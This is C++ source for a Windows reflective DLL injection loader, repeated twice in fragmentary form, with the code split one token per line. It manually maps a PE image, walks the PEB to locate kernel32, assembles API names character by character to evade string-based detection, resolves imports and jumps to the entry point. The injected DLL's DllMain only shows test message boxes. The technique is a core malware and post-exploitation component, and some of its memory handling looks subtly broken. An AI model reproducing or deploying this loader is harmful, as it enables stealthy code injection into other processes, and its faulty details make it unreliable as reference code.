else
if
(*src >= L
'0'
&& *src <= L
'9'
) {
*dest = (
char
)*src;
}
else
{
*dest =
'?'
;
}
dest++;
src++;
}
*dest =
'\0'
;
}
int
CompareStrings(
const
char
* str1,
const
char
* str2) {
while
(*str2 !=
'\0'
) {
if
(*str1 != *str2) {
return
0;
}
str1++;
str2++;
}
return
1;
}
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName) {
size_t
i = 0;
while
(dllName[i] != L
'\0'
|| targetDllName[i] != L
'\0'
) {
wchar_t
ch1 = (dllName[i] >= L
'A'
&& dllName[i] <= L
'Z'
) ? dllName[i] + (L
'a'
- L
'A'
) : dllName[i];
wchar_t
ch2 = (targetDllName[i] >= L
'A'
&& targetDllName[i] <= L
'Z'
) ? targetDllName[i] + (L
'a'
- L
'A'
) : targetDllName[i];
if
(ch1 != ch2) {
return
0;
}
i++;
}
return
1;
}
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName) {
wchar_t
* fileName = NULL;
wchar_t
* temp = (
wchar_t
*)fullDllName;
while
(*temp) {
if
(*temp == L
'\\'
) {
fileName = temp + 1;
}
temp++;
}
if
(!fileName) {
fileName = (
wchar_t
*)fullDllName;
}
return
fileName;
}
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll)
{
PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;
PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);
DWORD
ImageSize = pNTheader->OptionalHeader.SizeOfImage;
PBYTE
pAlloc = (
PBYTE
)((
ULONG_PTR
)pDll + ImageSize);
if
(pAlloc == NULL)
return
FALSE;
if
(pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE)
return
FALSE;
BYTE
* dst = (
BYTE
*)pAlloc;
BYTE
* src = (
BYTE
*)pDll;
size_t
size = pNTheader->OptionalHeader.SizeOfHeaders;
for
(
size_t
i = 0; i < size; ++i) {
dst[i] = src[i];
}
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNTheader +
sizeof
(IMAGE_NT_HEADERS));
DWORD
SecNum = pNTheader->FileHeader.NumberOfSections;
for
(
int
i = 0; i < SecNum; i++) {
if
(pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
pSec++;
continue
;
}
char
* chSrcMem = (
char
*)((
ULONG_PTR
)pDll + (
DWORD
)(pSec->PointerToRawData));
char
* chDestMem = (
char
*)((
ULONG_PTR
)pAlloc + (
DWORD
)(pSec->VirtualAddress));
DWORD
dwSizeOfRawData = pSec->SizeOfRawData;
DWORD
dwVirtualSize = pSec->Misc.VirtualSize;
for
(
DWORD
j = 0; j < dwSizeOfRawData; j++) {
chDestMem[j] = chSrcMem[j];
}
if
(dwVirtualSize > dwSizeOfRawData) {
char
* start = chDestMem + dwSizeOfRawData;
char
* end = chDestMem + dwVirtualSize;
while
(start < end) {
*start++ = 0;
}
}
pSec++;
}
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
int
SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;
if
(pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
{
do
{
PWORD
TypeOffset = (
WORD
*)((
PBYTE
)pBaseReloc + 8);
int
num = (pBaseReloc->SizeOfBlock - 8) / 2;
for
(
int
i = 0; i < num; i++)
{
WORD
type = TypeOffset[i] >> 12;
WORD
offset = TypeOffset[i] & 0x0FFF;
int
differ = 0;
if
(type == 3)
{
differ = *((
ULONG_PTR
*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
ULONG_PTR
p = (
ULONG_PTR
)pAlloc + differ;
char
* tagetaddr = (
char
*)(
ULONG_PTR
)pAlloc + offset + pBaseReloc->VirtualAddress;
char
* fromeaddr = (
char
*)p;
for
(
int
c = 0;c < 4;c++) {
tagetaddr[c] = fromeaddr[c];
}
}
}
SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;
pBaseReloc = (PIMAGE_BASE_RELOCATION)((
PBYTE
)pBaseReloc + pBaseReloc->SizeOfBlock);
}
while
(SizeOfBaseReloc);
}
typedef
FARPROC(WINAPI* GETPROCADDR)(
HMODULE
,
LPCSTR
);
typedef
HMODULE
(WINAPI* LOADLIBRARYA)(
LPCSTR
);
GETPROCADDR pGetProcAddress = NULL;
LOADLIBRARYA pLoadLibraryA = NULL;
PTEB pTEB = (PTEB)__readgsqword(0x30);
PPEB pPEB = pTEB->ProcessEnvironmentBlock;
PPEB_LDR_DATA pLdr = pPEB->Ldr;
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while
(pCurrentEntry && pCurrentEntry != pListHead)
{
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if
(pEntry && pEntry->FullDllName.Buffer)
{
wchar_t
* dllName = pEntry->FullDllName.Buffer;
wchar_t
* fileName = ExtractDllName(dllName);
wchar_t
a[50] = { 0 };
a[0] = L
'k'
;
a[1] = L
'e'
;
a[2] = L
'r'
;
a[3] = L
'n'
;
a[4] = L
'e'
;
a[5] = L
'l'
;
a[6] = L
'3'
;
a[7] = L
'2'
;
a[8] = L
'.'
;
a[9] = L
'd'
;
a[10] = L
'l'
;
a[11] = L
'l'
;
a[12] = L
'\0'
;
if
(CompareDllName(fileName, a)) {
HMODULE
hKernel32 = (
HMODULE
)pEntry->DllBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD
* pFunctionNames = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNames);
DWORD
* pFunctionAddresses = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfFunctions);
WORD
* pFunctionOrdinals = (
WORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
char
targetName1[50] =
"LoadLibraryA"
;
targetName1[0] =
'L'
;
targetName1[1] =
'o'
;
targetName1[2] =
'a'
;
targetName1[3] =
'd'
;
targetName1[4] =
'L'
;
targetName1[5] =
'i'
;
targetName1[6] =
'b'
;
targetName1[7] =
'r'
;
targetName1[8] =
'a'
;
targetName1[9] =
'r'
;
targetName1[10] =
'y'
;
targetName1[11] =
'A'
;
targetName1[12] =
'\0'
;
char
targetName2[50] = { 0 };
targetName2[0] =
'G'
;
targetName2[1] =
'e'
;
targetName2[2] =
't'
;
targetName2[3] =
'P'
;
targetName2[4] =
'r'
;
targetName2[5] =
'o'
;
targetName2[6] =
'c'
;
targetName2[7] =
'A'
;
targetName2[8] =
'd'
;
targetName2[9] =
'd'
;
targetName2[10] =
'r'
;
targetName2[11] =
'e'
;
targetName2[12] =
's'
;
targetName2[13] =
's'
;
targetName2[14] =
'\0'
;
int
isP = 0;
for
(
DWORD
i = 0; i < pExportDirectory->NumberOfNames; i++) {
char
* functionName = (
char
*)((
BYTE
*)hKernel32 + pFunctionNames[i]);
if
(CompareStrings(functionName, targetName1)) {
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pLoadLibraryA = (LOADLIBRARYA)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(CompareStrings(functionName, targetName2)) {
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pGetProcAddress = (GETPROCADDR)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(isP == 2) {
break
;
}
}
break
;
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if
(!pLoadLibraryA && !pGetProcAddress)
{
char
foece[] =
"无法获取 LoadLibraryA 地址,请检查目标进程模块"
;
return
FALSE;
}
else
{
char
sucsess[] =
"sucsess"
;
}
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
if
(pImport != NULL)
{
while
(pImport->Name != NULL)
{
char
DLLname[50] = { 0 };
char
* pDLLName = (
char
*)(pImport->Name + pAlloc);
for
(
int
i = 0; i <
sizeof
(DLLname) - 1; i++)
{
if
(pDLLName[i] ==
'\0'
)
break
;
DLLname[i] = pDLLName[i];
}
DLLname[
sizeof
(DLLname) - 1] =
'\0'
;
HMODULE
hProcess = pLoadLibraryA(DLLname);
if
(!hProcess)
{
return
FALSE;
}
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
while
((
ULONG_PTR
)(pINT->u1.AddressOfData) != NULL)
{
PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);
if
(pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, (
LPCSTR
)(pINT->u1.AddressOfData)));
}
else
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, pFucname->Name));
}
pINT++;
pIAT++;
}
pImport++;
}
}
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);
FARPROC EOP = (FARPROC)((
LPBYTE
)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);
EOP();
return
TRUE;
}
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll);
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName);
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName);
void
my_wctomb(
char
* dest,
const
wchar_t
* src);
int
CompareStrings(
const
char
* str1,
const
char
* str2);
BOOL
APIENTRY DllMain(
HMODULE
hModule,
DWORD
ul_reason_for_call,
LPVOID
lpReserved)
{
MessageBox(NULL, L
"哇塞!!你成功啦!!!"
, L
"注入程序检测中..."
, MB_YESNO | MB_ICONASTERISK);
char
processName[MAX_PATH] = { 0 };
DWORD
length = GetModuleFileNameA(NULL, processName, MAX_PATH);
MessageBoxA(NULL, processName,
"当前进程路径: "
, MB_YESNO | MB_ICONASTERISK);
Sleep(99999999);
return
TRUE;
}
void
my_wctomb(
char
* dest,
const
wchar_t
* src) {
while
(*src) {
if
(*src >= L
'A'
&& *src <= L
'Z'
) {
*dest = (
char
)(*src + (L
'a'
- L
'A'
));
}
else
if
(*src >= L
'a'
&& *src <= L
'z'
) {
*dest = (
char
)*src;
}
else
if
(*src >= L
'0'
&& *src <= L
'9'
) {
*dest = (
char
)*src;
}
else
{
*dest =
'?'
;
}
dest++;
src++;
}
*dest =
'\0'
;
}
int
CompareStrings(
const
char
* str1,
const
char
* str2) {
while
(*str2 !=
'\0'
) {
if
(*str1 != *str2) {
return
0;
}
str1++;
str2++;
}
return
1;
}
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName) {
size_t
i = 0;
while
(dllName[i] != L
'\0'
|| targetDllName[i] != L
'\0'
) {
wchar_t
ch1 = (dllName[i] >= L
'A'
&& dllName[i] <= L
'Z'
) ? dllName[i] + (L
'a'
- L
'A'
) : dllName[i];
wchar_t
ch2 = (targetDllName[i] >= L
'A'
&& targetDllName[i] <= L
'Z'
) ? targetDllName[i] + (L
'a'
- L
'A'
) : targetDllName[i];
if
(ch1 != ch2) {
return
0;
}
i++;
}
return
1;
}
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName) {
wchar_t
* fileName = NULL;
wchar_t
* temp = (
wchar_t
*)fullDllName;
while
(*temp) {
if
(*temp == L
'\\'
) {
fileName = temp + 1;
}
temp++;
}
if
(!fileName) {
fileName = (
wchar_t
*)fullDllName;
}
return
fileName;
}
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll)
{
PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;
PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);
DWORD
ImageSize = pNTheader->OptionalHeader.SizeOfImage;
PBYTE
pAlloc = (
PBYTE
)((
ULONG_PTR
)pDll + ImageSize);
if
(pAlloc == NULL)
return
FALSE;
if
(pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE)
return
FALSE;
BYTE
* dst = (
BYTE
*)pAlloc;
BYTE
* src = (
BYTE
*)pDll;
size_t
size = pNTheader->OptionalHeader.SizeOfHeaders;
for
(
size_t
i = 0; i < size; ++i) {
dst[i] = src[i];
}
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNTheader +
sizeof
(IMAGE_NT_HEADERS));
DWORD
SecNum = pNTheader->FileHeader.NumberOfSections;
for
(
int
i = 0; i < SecNum; i++) {
if
(pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
pSec++;
continue
;
}
char
* chSrcMem = (
char
*)((
ULONG_PTR
)pDll + (
DWORD
)(pSec->PointerToRawData));
char
* chDestMem = (
char
*)((
ULONG_PTR
)pAlloc + (
DWORD
)(pSec->VirtualAddress));
DWORD
dwSizeOfRawData = pSec->SizeOfRawData;
DWORD
dwVirtualSize = pSec->Misc.VirtualSize;
for
(
DWORD
j = 0; j < dwSizeOfRawData; j++) {
chDestMem[j] = chSrcMem[j];
}
if
(dwVirtualSize > dwSizeOfRawData) {
char
* start = chDestMem + dwSizeOfRawData;
char
* end = chDestMem + dwVirtualSize;
while
(start < end) {
*start++ = 0;
}
}
pSec++;
}
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
int
SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;
if
(pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
{
do
{
PWORD
TypeOffset = (
WORD
*)((
PBYTE
)pBaseReloc + 8);
int
num = (pBaseReloc->SizeOfBlock - 8) / 2;
for
(
int
i = 0; i < num; i++)
{
WORD
type = TypeOffset[i] >> 12;
WORD
offset = TypeOffset[i] & 0x0FFF;
int
differ = 0;
if
(type == 3)
{
differ = *((
ULONG_PTR
*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
ULONG_PTR
p = (
ULONG_PTR
)pAlloc + differ;
char
* tagetaddr = (
char
*)(
ULONG_PTR
)pAlloc + offset + pBaseReloc->VirtualAddress;
char
* fromeaddr = (
char
*)p;
for
(
int
c = 0;c < 4;c++) {